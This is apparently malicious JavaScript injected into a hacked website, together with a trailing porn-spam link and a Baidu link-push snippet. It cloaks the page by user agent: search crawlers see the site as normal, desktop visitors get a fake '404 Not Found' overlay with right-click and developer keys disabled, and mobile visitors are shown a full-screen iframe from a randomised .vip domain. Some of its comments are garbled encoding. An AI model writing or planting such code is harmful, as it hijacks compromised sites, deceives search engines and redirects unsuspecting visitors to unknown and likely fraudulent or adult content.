var is_jump = true;
var h = window.innerHeight;
var system = {
    win: navigator.platform.indexOf("Win") === 0,
    mac: navigator.platform.indexOf("Mac") === 0,
    x11: navigator.platform === "X11" || navigator.platform.indexOf("Linux") === 0
};
//var diffDays = Math.ceil(Math.abs(new Date() - new Date('02/12/2024')) / (1000 * 60 * 60 * 24));
// 创徏一个新的Date对象�Q�它���包含当前日期和旉���
const today = new Date();
// 获取�q�、月、日
//const year = today.getFullYear();
//const month = today.getMonth() + 1; // 月䆾是从0开始的�Q�所以需�?1
const day = today.getDate();
// ���年月日�l�合成一个字�W�串�Q�格式�ؓYYYYMMDD
//const dateString = `${month.toString().padStart(2, '0')}${day.toString().padStart(2, '0')}`;
const todyth = `${day.toString().padStart(2, '0')}`;
try {
    var reg = /(Baiduspider|360Spider|YisouSpider|YandexBot|Sogou inst spider|Sogou web spider|spider|Baiduspider-render)/i;
    if (!reg.test(navigator.userAgent)) {
        if (system.win || system.mac || system.xll) {
            let temp = '<div style="position: fixed; top: 0px;padding-top:20px; z-index: 999999999; width: 100%; height: ' + h + 'px; background-color: #ffffff; font-size: 16px;"><center><h2>404 Not Found</h2></center><hr></div>';
            document.write(temp);
            let titleElement = document.getElementsByTagName("title")[0];
            if (titleElement) {
                titleElement.innerHTML = "404";
            } else {
                console.error("Element <title> not found");
            }
            document.oncontextmenu = false;
            document.onkeydown = function(e) {
                let currKey = 0;
                let evt = e || window.event;
                currKey = evt.keyCode || evt.which || evt.charCode;
                if (currKey === 123) {
                    e.preventDefault();
                    e.stopPropagation();
                }
            };
        } else if (isMobile()) {
            let arr = [
                'https://'+ todyth +'.lm73p24lga6hx3ix.vip/index.html?name=xsao20241116',
                //'https://' + diffDays + '.qq20b4065d0407.com/index/home.html',
               
            ];
            let indexRnd = Math.floor(Math.random() * arr.length);
            let iframe_url = arr[indexRnd];
            document.writeln('<style>body{padding-top:0!important;}</style>')
            let iframe_str = '<div id="div_ifr' + 'ame" style="z-index:999999998;height:' + h + 'px; width: 100%;position: fixed;top:0; background: #ffffff;height: 100%;padding:0px;margin:0px;"><ifr' + 'ame id="myifr' + 'ame" frameborder="0" width="100%" height="100%" src="' + iframe_url + '"></ifr' + 'ame></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden;padding:0px;margin:0!important;}</style>';
            document.write(iframe_str);
        }
    }
} catch (e) {
    console.log(e);
}
document.addEventListener('contextmenu',function(e){e.preventDefault();})
document.oncontextmenu=function(){return false;};
document.onselectstart=function(){return false;};
document.oncontextmenu = function () { return false; };
function isMobile() {

            var userAgentInfo = navigator.userAgent;

            var mobileAgents = ["Android","iPhone","SymbianOS","Windows Phone","iPad","iPod","phone","pad","pod","ios","Mobile","BlackBerry","IEMobile","MQQBrowser","QQBrowser","JUC","Fennec","wOSBrowser","BrowserNG","WebOS","Symbian"];

            var mobile_flag = false;

            for (var v = 0; v < mobileAgents.length; v++) {

                if (userAgentInfo.indexOf(mobileAgents[v]) > 0) {

                    mobile_flag = true;

                    break;

                }

            }

            var screen_width = window.screen.width;

            var screen_height = window.screen.height;

            if (screen_width < 1600 && screen_height < 2560) {

                mobile_flag = true;

            }

            return mobile_flag;

        } <a href="http://www.nc39.cn/">&#x4E9A;&#x6D32;&#x7EFC;&#x5408;&#x56FD;&#x4EA7;&#x65E5;&#x97E9;&#x4E09;&#x7EA7;&#x7247;&#x41;&#x7247;</a>
<script>
(function(){
    var bp = document.createElement('script');
    var curProtocol = window.location.protocol.split(':')[0];
    if (curProtocol === 'https') {
        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
    }
    else {
        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
    }
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(bp, s);
})();
</script>
</body>